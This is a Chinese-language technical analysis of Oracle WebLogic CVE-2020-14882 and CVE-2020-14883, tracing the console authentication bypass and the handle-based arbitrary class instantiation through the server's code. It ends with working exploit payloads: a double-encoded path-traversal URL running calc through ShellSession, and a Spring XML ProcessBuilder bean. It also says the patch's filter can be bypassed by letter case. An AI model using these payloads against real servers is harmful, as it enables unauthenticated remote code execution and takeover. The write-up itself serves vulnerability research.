CVE-2020-14882&CVE-2020-14883分析

0x01 HTTP绕过部分

开局先说一句四毛二永远滴神。

weblogic 会在weblogic.servlet.internal.WebAppServletContext进行权限检查,主要是调用 WebAppSecurity#checkAccess 方法。

WebAppSecurity#checkAccess 方法当中会根据当前的URL进行资源判断。

我们可以看看 WebAppSecurityWLS#getConstraint 方法,这里会进入到 StandardURLMapping#getExactOrPathMatch 方法当中。

而实际上 this.matchMap 的内容与我们 web.xml 文件当中的,静态配置项是一致的,为了解决这个静态目录的问题,weblogic 还自动补齐了一个/

WebAppSecurityWLS#getConstraint 方法处理之后返回的是 ResourceConstraint 且对应的文件id正是我们的静态路径/images/*,在这里已经把我们的 unrestrict 属性设置为 true ,且 loginRequired 属性为 fasle

之后会调用 SecurityModule#isAuthorized 方法进行检查。

SecurityModule#isAuthorized 方法当中先获取用户当前 session ,在调用 SecurityModule#checkAccess 进行检查。

SecurityModule#checkAccess 也是调用 CertSecurityModule#checkUserPerm 进行检查。

    boolean checkAccess(HttpServletRequest req, HttpServletResponse rsp, SessionSecurityData session, ResourceConstraint cons, boolean applySAF) throws IOException, ServletException {
    
    ...

                if (this.modules.length - 1 == i) {
                    if (lastModule instanceof FormSecurityModule) {
                        return lastModule.checkAccess(req, rsp, session, cons, applySAF);
                    }

                    return lastModule.checkUserPerm(req, rsp, session, cons, subject, applySAF);
                }

CertSecurityModule#checkUserPerm 进行检查的过程中,又回到了 WLSSecurity#hasPermission 方法当中。

WebAppSecurity.class#hasPermission 方法,也是通过判断当前对象的 unrestrict 属性,也就是说判断他是不是静态资源,前面我们说过这里的属性自然是 true

0x02 Rce部分

实际上在 WebAppServletContext#doSecuredExecute 方法当中调用了 checkAccess 方法针对路径是否有权限进行了判断,判断过程就是 0x01 部分中,之后会调用相应 subject 对象的 run 方法分别进入进行处理。

weblogicconsole 相关路由映射在\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\WEB-INF\web.xml当中,实际上相关映射关系是 AppManagerServlet 这个servlet name,我们登陆后访问后台的url是 console.portal ,因此可以跟进来看看。

  <!-- NetUIx Servlet -->
  <servlet>
    <servlet-name>AppManagerServlet</servlet-name>
    <servlet-class>weblogic.servlet.AsyncInitServlet</servlet-class>
    
    <init-param>
      <param-name>weblogic.servlet.AsyncInitServlet.servlet-class-name</param-name>
      <param-value>com.bea.console.utils.MBeanUtilsInitSingleFileServlet</param-value>
    </init-param>
    
    <init-param>
        <param-name>wl-dispatch-policy</param-name>
        <param-value>consoleWorkManager</param-value>
    </init-param>

    <load-on-startup>1</load-on-startup>
    
  </servlet>
<!-- NetUIx Servlet Mapping -->
  <servlet-mapping>
    <servlet-name>AppManagerServlet</servlet-name>
    <url-pattern>/appmanager/*</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>AppManagerServlet</servlet-name>
    <url-pattern>*.portlet</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>AppManagerServlet</servlet-name>
    <url-pattern>*.portion</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>AppManagerServlet</servlet-name>
    <url-pattern>*.portal</url-pattern>
  </servlet-mapping>

选择在weblogic.servlet.AsyncInitServletservice 位置下个断点,为什么在这里下断点,原因就是上面那个 web.xml 文件的映射关系。

MBeanUtilsInitSingleFileServlet#service 方法当中不允许出现;符号,之后调用他的父类 servletservice 方法,也就是 SingleFileServlet#service

    public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
        if (!hasInited) {...}

        if (req instanceof HttpServletRequest) {
            HttpServletRequest httpServletRequest = (HttpServletRequest)req;
            String url = httpServletRequest.getRequestURI();
            if (url.indexOf(";") > 0) {
                if (resp instanceof HttpServletResponse) {
                    HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
                    httpServletResponse.sendError(404);
                }

                return;
            }
        }

        try {
            super.service(req, resp);

而在 SingleFileServlet#service 经过一系列处理之后,也是会调用他的父类 servletservice 方法,也就是 UIServlet#service 方法,在 UIServlet#service 方法当中会根据http头部不同,选择相对应的方法。

    public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String method = request.getMethod();
        if (method.equals("GET")) {
            this.doGet(request, response);
        } else if (method.equals("POST")) {
            this.doPost(request, response);
        } else if (method.equals("HEAD")) {
            super.doHead(request, response);
        } else {
            this.doPost(request, response);
        }

经过上面的处理最后会来到com.bea.netuix.servlets.manager.UIServlet,跟进 createUIContext

com.bea.netuix.servlets.manager.UIServletInternal#createUIContext 会调用 getTree 方法进行处理。

com.bea.netuix.servlets.manager.UIServletInternal#getTree 方法当中会进行一次 URL 解码 ,这⾥可以看出来为什么可以⽤url 2次编码可以绕过。之后的处理过程中会有if判断,判断是不是__Streaming.portal,如果不是,会转发到processStream(requestPattern, ctxt, requestPattern, request, response, setContentType);这个构造方法进行处理。

processStream 这个构造方法中,会把传入数据转发到 SingleFileProcessor#getMergedControlFromFile 当中进行处理

而在 SingleFileProcessor#getMergedControlFromFile 当中,创建了一个 saxParser 的xml解析器,并且调用 getControlFactoryFromFile 方法进行处理。

SingleFileProcessor#getControlFactoryFromFile ,可以看到下面这句代码。

            ControlTreeFactory ctf = this.getControlFactoryFromFileWithoutCaching(filename, saxParser);

首先先从this.servletContext.getResourceAsStream(filename);方法内获取数据,最后会跟到 War#getSourceFromDisk 的ceche中加载了我们当前的 console.portal

然后在 WebAppServletContext#getResourceAsStream 方法当中会根据我们刚刚的路径D:\newweblogic\wlserver\server\lib\consoleapp\webapp\console.portal获取 getInputStream

之后就是在 SingleFileProcessor#getControlFactoryFromFile ,我们从D:\newweblogic\wlserver\server\lib\consoleapp\webapp\console.portal读取的xml内容,交给 getNetuixControlFactory 方法去做xml内容的解析。

完成this.createUIContext(request, response, (UIControl)null);之后,把相关对象内容付值给 jspContexttree 属性,并且调用 this.runLifecycle 继续完成下面操作。

runLifecycle 方法当中,赋值给 jspContextlifecycle 属性继续完成下面操作。

跟进 lifecycle.run 方法,就是下面这些操作,先看看 runInbound 方法。 runInbound 方法,把 controlTreeRoot 对象取出来赋值给root对象,接着把this._inboundLifecycle丢给 types 数组。之后调用 processLifecycles 方法进行解析。

    public void run(UIContext context, IControlTreeWalkerPool walkerPool) throws ServletException, IOException {
        if (!context.isOutbound() && context.isPostback()) {
            this.runInbound(context);
            context.setOutbound();
            this.runOutbound(context, walkerPool);
            this.runCleanup(context);
        } 

processLifecycles 方法当中会调用com.bea.netuix.nf.ControlTreeWalker.walk方法进行循环解析,我们上面的 types 数组。

walk 方法当中会调用 walkRecursive 方法进行处理。

walkRecursive 方法当中,通过root.getVisitorForLifecycle(vt);获取到当前的 ControlVisitor 对象,在判断其是否是Root节点,如果是Root节点,就会进入相应对象重写的 visitRoot 方法进行处理。

之后就是在 walk 方法递归循环ControlTree的过程,可以看到与xml⽂件的节点对应。

根据补丁这次出问题的类是在com.bea.netuix.servlets.controls.portlet.Portlet,而我们前面ControlTree中的Control对应包在com.bea.netuix.servlets.controls

    protected void init() {
        boolean isServiceLevelEnabled = this.checkServiceLevel();
        if (!isServiceLevelEnabled) {
            this.setSuspended(true);
        }

        super.init();

一直跟进 init 方法会来到 BreadcrumbBacking#init 当中,首先 findFirstHandle 方法循环获取 getParameterNames 并且判断是不是handle,如果是的话,把 param 部分取出赋值给 handleStr

之后就来到核心方法 getHandle 当中。此时的参数我们可控。这⾥有⼀个任意类实际例化的操作,并且可以传⼊⾃定义参数,参数会⾃动从 serializedObjectID 的括号中提取。

0x03 玩法

http://192.168.2.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

xml文件内容
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

0x04 补丁

com.bea.console.utils.MBeanUtilsInitSingleFileServlet过滤了关键字;、%252e%252e、%2e%2e、..、%3c、%3e、<、>,可以通过大小写绕过

com.bea.console.handles.HandleFactory只能实例化com.bea.console.handles.Handle的子类。